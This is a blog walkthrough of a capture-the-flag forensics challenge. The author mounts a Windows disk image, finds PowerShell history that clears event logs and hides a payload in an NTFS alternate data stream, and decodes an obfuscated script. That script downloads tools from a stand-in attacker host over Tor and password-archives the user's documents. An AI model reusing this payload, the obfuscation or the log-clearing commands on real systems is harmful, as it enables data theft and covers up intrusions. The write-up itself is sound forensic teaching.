forbytten blogs

Artifacts of Dangerous Sightings walkthrough - Cyber Apocalypse 2023

Last update:

1 Introduction

I previously wrote about participating in the Hack The Box Cyber Apocalypse 2023 CTF (Capture the Flag) competition.

This walkthrough covers the Artifacts of Dangerous Sightings challenge in the Forensics category, which was rated as having a ‘medium’ difficulty. This challenge involves the forensic analysis of a virtual hard disk image.

The description of the challenge is shown below. The key information from the description is:

  1. Upon returning to her computer, Pandora noticed the Windows Event Viewer tab open on the Security log
  2. Pandora took a snapshot of her machine for analysis
Artifacts of Dangerous Sightings challenge description

The key techniques employed in this walkthrough are:

2 Recording the artifact hash

Before commencing any forensic analysis, it’s important to record a cryptographically strong hash of the artifact. This ensures verification can be performed to demonstrate that the artifact has not been contaminated since initial acquisition. Although this step is rather unnecessary for a CTF, it is a good habit to form. To that end, the SHA256 hash of the challenge artifact was recorded:

$ shasum -a256 forensics_artifacts_of_dangerous_sightings.zip
76744345940ac98834116cdc2538084f65ee5a51ab128ba4b07e7730ceef2852  forensics_artifacts_of_dangerous_sightings.zip

However, strictly speaking, the downloaded zip contains the actual artifact for analysis. Therefore, the archive was unzipped and a hash of the contents also recorded:

$ unzip forensics_artifacts_of_dangerous_sightings.zip
Archive:  forensics_artifacts_of_dangerous_sightings.zip
   creating: HostEvidence_PANDORA/
  inflating: HostEvidence_PANDORA/2023-03-09T132449_PANDORA.vhdx

$ shasum -a256 2023-03-09T132449_PANDORA.vhdx
17f8b14ad41d9c65689dad98d4fccb25391eefaab4e18f5e71db143eb2b34157  2023-03-09T132449_PANDORA.vhdx

3 Basic artifact identification

The next step was to identify the type of artifact under analysis. The file extension hints that the file is a Virtual Hard Disk v2 (VHDX) File and the output of the file command supported this. Furthermore, this correlates with the challenge description, where the disk image is an image of Pandora’s machine.

$ file 2023-03-09T132449_PANDORA.vhdx
2023-03-09T132449_PANDORA.vhdx: Microsoft Disk Image eXtended, by .NET DiscUtils, sequence 0x8; LOG; region, 2 entries, id Metadata, at 0x200000, Required 1, id BAT, at 0x300000, Required 1

4 Mounting the VHDX image in Linux

Modern Linux distributions support FUSE (Filesystem in Userspace), which enables non-privileged users to securely mount filesystems. Two commands that are useful here are virt-filesystems and guestmount, which in Kali can be installed from the guestfs-tools and guestmount packages, respectively.

sudo apt install guestfs-tools guestmount

virt-filesystems was used to list the filesystems in the image:

$ virt-filesystems -a 2023-03-09T132449_PANDORA.vhdx
/dev/sda1

Next, guestmount was used to mount the filesystem under a mounted directory. The options passed to guestmount were:

--add 2023-03-09T132449_PANDORA.vhdx
add the given virtual image
--ro
mount read-only
-m /dev/sda1
mount the /dev/sda1 partition from the guest
mounted
mount point on the host (Kali) to mount the image under
$ mkdir mounted
$ guestmount --add 2023-03-09T132449_PANDORA.vhdx --ro -m /dev/sda1 mounted

A basic directory listing indicated the mount was successful:

$ ls mounted
'$RECYCLE.BIN'   2023-03-09T13_24_49_2142105_CopyLog.csv   2023-03-09T13_24_49_2142105_SkipLog.csv.csv   C  'System Volume Information'

5 Basic image exploration

A search for all filenames containing “history” was conducted:

$ find . -iname '*history*'
./C/Users/Pandora/AppData/Local/Microsoft/Edge/User Data/Default/History
./C/Users/Pandora/AppData/Local/Microsoft/Edge/User Data/Default/History-journal
./C/Users/Pandora/AppData/Local/Microsoft/Windows/History
./C/Users/Pandora/AppData/Roaming/Microsoft/Windows/PowerShell/PSReadline/ConsoleHost_history.txt
./C/Windows/System32/Tasks/Microsoft/Windows/FileHistory
./C/Windows/System32/Tasks/Microsoft/Windows/FileHistory/File History (maintenance mode)
./C/Windows/System32/winevt/logs/Microsoft-Windows-FileHistory-Core%4WHC.evtx

Of the found files, the PowerShell history file on line 4, ConsoleHost_history.txt, stands out, especially given the context of the challenge, namely that potentially an attacker had accessed the machine. In such an instance, the attacker may have executed PowerShell commands, which corresponds to the Command and Scripting Interpreter: PowerShell MITRE ATT&CK technique.

The contents of the history file was viewed. Line 1 writes the string finpayload to C:\Windows\Tasks\ActiveSyncProvider.dll:hidden.ps1. This is suspicious, as it may be a possible instance of the Hide Artifacts: NTFS File Attributes MITRE ATT&CK technique for hiding malicious data in an NTFS Alternate Data Stream, which is a stream of data attached to a file that is not visible by default.

Additionally, lines 5-9 attempt to clear the Windows event logs related to PowerShell, which appears to be an instance of the Indicator Removal: Clear Windows Event Logs MITRE ATT&CK technique employed to hide the activity of an intrusion.

$ cat ./C/Users/Pandora/AppData/Roaming/Microsoft/Windows/PowerShell/PSReadline/ConsoleHost_history.txt
type finpayload > C:\Windows\Tasks\ActiveSyncProvider.dll:hidden.ps1
exit
Get-WinEvent
Get-EventLog -List
wevtutil.exe cl "Windows PowerShell"
wevtutil.exe cl Microsoft-Windows-PowerShell/Operational
Remove-EventLog -LogName "Windows PowerShell"
Remove-EventLog -LogName Microsoft-Windows-PowerShell/Operational
Remove-EventLog

6 Viewing the hidden.ps1 alternate data stream

I couldn’t find a way to view the hidden.ps1 alternate data stream with the FUSE filesystem mounted by guestmount. However, I found a post at https://dmfrsecurity.com/2021/01/10/accessing-alternate-data-streams-on-vmdk-images-on-linux/ which mounts the filesystem using the nbd kernel module and the qemu-nbd utility.

The nbd (Network Block Device) kernel module allows a remote server to be used as a block device but it can also work if the remote and local hosts are the same.

QEMU(Quick Emulator) is a “a generic and open source machine emulator and virtualizer” which also “provides a number of standalone command line utilities”, with qemu-nbd being used to “Export a QEMU disk image using the NBD protocol”. Furthermore, QEMU supports many different image formats, including VHDX.

The steps taken to view the hidden.ps1 alternate data stream were:

  1. The existing mount was unmounted

    guestunmount mounted
  2. The nbd kernel module was loaded, which created the /dev/nbd0 device

    $ ls /dev/nbd0
    ls: cannot access '/dev/nbd0': No such file or directory
    
    $ sudo modprobe nbd
    
    $ ls /dev/nbd0
    /dev/nbd0
    
  3. The qemu-utils package was installed to ensure the qemu-nbd command was available

    sudo apt install qemu-utils
  4. qeum-nbd was used to connect the VHDX virtual disk image to the /dev/nbd0 device, passing in the following options:

    -r
    Export the disk as read-only.
    -c /dev/nbd0
    Connect filename to NBD device /dev/nbd0
    sudo qemu-nbd -r -c /dev/nbd0 2023-03-09T132449_PANDORA.vhdx
  5. The partitions of the disk were listed using fdisk, with a single HPFS/NTFS/exFAT partition, /dev/nbd0p1, being found. Note the ability to use fdisk illustrates how the nbd kernel module transparently treats the device as if it is a local block device, albeit the impact of the illustration is limited in this instance since the virtual disk image is local.

    $ sudo fdisk -l /dev/nbd0
    Disk /dev/nbd0: 1.66 GiB, 1780482048 bytes, 3477504 sectors
    Units: sectors of 1 * 512 = 512 bytes
    Sector size (logical/physical): 512 bytes / 512 bytes
    I/O size (minimum/optimal): 512 bytes / 512 bytes
    Disklabel type: dos
    Disk identifier: 0x83b695cb
    
    Device      Boot Start     End Sectors  Size Id Type
    /dev/nbd0p1 *       63 3475583 3475521  1.7G  7 HPFS/NTFS/exFAT
  6. The /dev/nbd0p1 partition was mounted read only1 (via the ro and noload2 options) and with the streams_interface=windows option to ensure that alternate data streams will be visible.

    sudo mount -t ntfs -o ro,noload,streams_interface=windows /dev/nbd0p1 mounted
  7. The getfattr command gets extended attributes of filesystem objects, which includes NTFS alternate data streams when getfattr is invoked on a directory. Using this command reveals the hidden.ps1 alternate data stream attached to the ActiveSyncProvider.dll file

    $ getfattr -Rn ntfs.streams.list mounted/C/Windows/Tasks
    # file: mounted/C/Windows/Tasks
    ntfs.streams.list=""
    
    # file: mounted/C/Windows/Tasks/ActiveSyncProvider.dll
    ntfs.streams.list="hidden.ps1"
    
    # file: mounted/C/Windows/Tasks/SA.DAT
    ntfs.streams.list=""
  8. The alternate data stream is visible to file manipulation commands3, which indicate the following:

    1. the stream is 172KB long

      $ ls -lh mounted/C/Windows/Tasks/ActiveSyncProvider.dll:hidden.ps1
      -rwxrwxrwx 1 root root 172K Mar 10 00:31 mounted/C/Windows/Tasks/ActiveSyncProvider.dll:hidden.ps1
    2. the stream consists of a single line

      $ wc -l  mounted/C/Windows/Tasks/ActiveSyncProvider.dll:hidden.ps1
      1 mounted/C/Windows/Tasks/ActiveSyncProvider.dll:hidden.ps1
    3. the stream invokes powershell.exe with a base64 encoded payload

      $ head -c 200  mounted/C/Windows/Tasks/ActiveSyncProvider.dll:hidden.ps1
      powerShell.exe -WindowStyle hiddeN -ExecuTionPolicy ByPasS -enc JAB7AFsAfgBAAH0AIAA9ACAAJAAoACkAOwAgACQAewAhACEAQAAhACEAXQB9ACAAPQAgACsAKwAkAHsAWwB+AEAAfQA7ACAAJAB7AFsAWwAhAH0AIAA9ACAALQAtACQAewBbAH4A

7 Decoding the PowerShell payload

A sed regex substitution was used to extract the base64 payload, then tr was used to delete the trailing carriage return and newline characters. The result was redirected into payload.base64.

$ cat mounted/C/Windows/Tasks/ActiveSyncProvider.dll:hidden.ps1 |sed -E -e 's/^powerShell.*-enc (.*)/\1/'|tr -d '\r\n'> payload.base64

Next, the base64 payload was decoded and piped into the strings command to decode the 16-bit littleendian strings which Windows platforms use by default. The output was then redirected into the payload.ps1 file.

base64 -d payload.base64 |strings -e l > payload.ps1

8 Analyzing the (obfuscated) PowerShell

The payload consists of 4 lines:

$ wc -l payload.ps1
4 payload.ps1

The first 3 lines consist of obfuscated variable assignments, with each assignment separated by a semicolon:

$ sed -n -e '1,3p' payload.ps1

${[~@} = $(); ${!!@!!]} = ++${[~@}; ${[[!} = --${[~@} + ${!!@!!]} + ${!!@!!]}; ${~~~]} = ${[[!} + ${!!@!!]}; ${[!![!} = ${[[!} + ${[[!}; ${(~(!} = ${~~~]} + ${[[!}; ${!~!))} = ${[!![!} + ${[[!}; ${((!} = ${!!@!!]} + ${[!![!} + ${[[!}; ${=!!@!!}
= ${~~~]} - ${!!@!!]} + ${!~!))}; ${!=} =
${((!} - ${~~~]} + ${!~!))} - ${!!@!!]}; ${=@!~!} = "".("$(@{})"[14]+"$(@{})"[16]+"$(@{})"[21]+"$(@{})"[27]+"$?"[1]+"$(@{})"[3]); ${=@!~!} = "$(@{})"[14]+"$?"[3]+"${=@!~!}"[27]; ${@!=} = "["+"$(@{})"[7]+"$(@{})"[22]+"$(@{})"[20]+"$?"[1]+"]";

The last line consists of a string interpolation, piped into an obfuscated command called via the & call operator:

  1. For brevity, the first 20 characters are listed below, showing the start of the string interpolation

    $ sed -n -e '4p' payload.ps1 |head -c 20
    
    "${@!=}${~~~]}${(~(!
  2. Also for brevity, the last 20 characters are listed, showing the interpolated string being piped into a call to the command specified by the ${=@!~!} variable

    $ sed -n -e '4p' payload.ps1 |tail -c 20
    
    =@!~!}" |& ${=@!~!}

9 Deobfuscating the PowerShell payload

The payload was manually reformatted into payload-pretty.ps1 to make it easier to read, as shown below, where:

${[~@} = $();
${!!@!!]} = ++${[~@};

${[[!} = --${[~@} + ${!!@!!]} + ${!!@!!]};
${~~~]} = ${[[!} + ${!!@!!]};
${[!![!} = ${[[!} + ${[[!};
${(~(!} = ${~~~]} + ${[[!};
${!~!))} = ${[!![!} + ${[[!};
${((!} = ${!!@!!]} + ${[!![!} + ${[[!};

${=!!@!!} = ${~~~]} - ${!!@!!]} + ${!~!))};
${!=} = ${((!} - ${~~~]} + ${!~!))} - ${!!@!!]};
${=@!~!} = "".("$(@{})"[14]+"$(@{})"[16]+"$(@{})"[21]+"$(@{})"[27]+"$?"[1]+"$(@{})"[3]);
${=@!~!} = "$(@{})"[14]+"$?"[3]+"${=@!~!}"[27]; # "iex"
${@!=} = "["+"$(@{})"[7]+"$(@{})"[22]+"$(@{})"[20]+"$?"[1]+"]";

echo "${@!=}${~~~]}${(~(!} + <snip/> ${!!@!!]}${[~@} | ${=@!~!}"
#|& ${=@!~!}

./payload-pretty.ps1 was executed, with the output redirected into payload-chars.ps1

└─PS> ./payload-pretty.ps1 > payload-chars.ps1

payload-chars.ps1 consists of a long string concatenated from individual [Char] cast integers, which is then piped into the iex command

  1. For brevity, the first 100 characters illustrates the concatenation of individual [Char] cast integers

    $ head -c 100 payload-chars.ps1
    
    [Char]35 + [Char]35 + [Char]35 + [Char]32 + [Char]46 + [Char]32 + [Char]32 + [Char]32 + [Char]32 + [
  2. Also for brevity, the last 100 characters illustrate the iex invocation

    $ tail -c 100 payload-chars.ps1
    
    08 + [Char]105 + [Char]52 + [Char]110 + [Char]99 + [Char]51 + [Char]125 + [Char]34 + [Char]10 | iex

The iex invocation was removed and the result stored into a new file, payload-chars-defanged.ps1:

$ sed -E -e 's/\| iex$//' payload-chars.ps1 > payload-chars-defanged.ps1

In a PowerShell terminal, payload-chars-defanged.ps1 was sourced, which resulted in the following deobfuscated PowerShell script being printed, with the plaintext flag visible on the last line.

└─PS> . ./payload-chars-defanged.ps1
### .     .       .  .   . .   .   . .    +  .
###   .     .  :     .    .. :. .___---------___.
###        .  .   .    .  :.:. _".^ .^ ^.  '.. :"-_. .
###     .  :       .  .  .:../:            . .^  :.:\.
###         .   . :: +. :.:/: .   .    .        . . .:\
###  .  :    .     . _ :::/:                         .:\
###   .. . .   . - : :.:./.                           .:\
###  .   .     : . : .:.|. ######               #######::|
###   :.. .  :-  : .:  ::|.#######             ########:|
###  .  .  .  ..  .  .. :\ ########           ######## :/
###   .        .+ :: : -.:\ ########         ########.:/
###     .  .+   . . . . :.:\. #######       #######..:/
###       :: . . . . ::.:..:.\                   ..:/
###    .   .   .  .. :  -::::.\.       | |       .:/
###       .  :  .  .  .-:.":.::.\               .:/
###  .      -.   . . . .: .:::.:.\            .:/
### .   .   .  :      : ....::_:..:\   ___   :/
###    .   .  .   .:. .. .  .: :.:.:\       :/
###      +   .   .   : . ::. :.:. .:.|\  .:/|
### SCRIPT TO DELAY HUMAN RESEARCH ON RELIC RECLAMATION
### STAY QUIET - HACK THE HUMANS - STEAL THEIR SECRETS - FIND THE RELIC
### GO ALLIENS ALLIANCE !!!
function makePass
{
    $alph=@();
    65..90|foreach-object{$alph+=[char]$_};
    $num=@();
    48..57|foreach-object{$num+=[char]$_};

    $res = $num + $alph | Sort-Object {Get-Random};
    $res = $res -join '';
    return $res;
}

function makeFileList
{
    $files = cmd /c where /r $env:USERPROFILE *.pdf *.doc *.docx *.xls *.xlsx *.pptx *.ppt *.txt *.csv *.htm *.html *.php;
    $List = $files -split '\r';
    return $List;
}

function compress($Pass)
{
    $tmp = $env:TEMP;
    $s = 'https://relic-reclamation-anonymous.alien:1337/prog/';
    $link_7zdll = $s + '7z.dll';
    $link_7zexe = $s + '7z.exe';

    $7zdll = '"'+$tmp+'\7z.dll"';
    $7zexe = '"'+$tmp+'\7z.exe"';
    cmd /c curl -s -x socks5h://localhost:9050 $link_7zdll -o $7zdll;
    cmd /c curl -s -x socks5h://localhost:9050 $link_7zexe -o $7zexe;

    $argExtensions = '*.pdf *.doc *.docx *.xls *.xlsx *.pptx *.ppt *.txt *.csv *.htm *.html *.php';

    $argOut = 'Desktop\AllYourRelikResearchHahaha_{0}.zip' -f (Get-Random -Minimum 100000 -Maximum 200000).ToString();
    $argPass = '-p' + $Pass;

    Start-Process -WindowStyle Hidden -Wait -FilePath $tmp'\7z.exe' -ArgumentList 'a', $argOut, '-r', $argExtensions, $argPass -ErrorAction Stop;
}

$Pass = makePass;
$fileList = @(makeFileList);
$fileResult = makeFileListTable $fileList;
compress $Pass;
$TopSecretCodeToDisableScript = "HTB{Y0...REDACTED...c3}"

10 Conclusion

The flag was submitted and the challenge was marked as pwned

Submission of the flag marked the challenge as pwned

11 Appendix: attempt to view alternate data streams with guestmount

Although it seemed possible to pass the streams_interface=windows option when mounting using guestmount, the option had no effect, unlike the experience with the nbd kernel driver:

$ guestmount --add 2023-03-09T132449_PANDORA.vhdx --ro -m /dev/sda1:/:ro,streams_interface=windows:ntfs mounted
$ getfattr -Rn ntfs.streams.list mounted/C/Windows/Tasks
mounted/C/Windows/Tasks: ntfs.streams.list: No such attribute
mounted/C/Windows/Tasks/ActiveSyncProvider.dll: ntfs.streams.list: No such attribute
mounted/C/Windows/Tasks/SA.DAT: ntfs.streams.list: No such attribute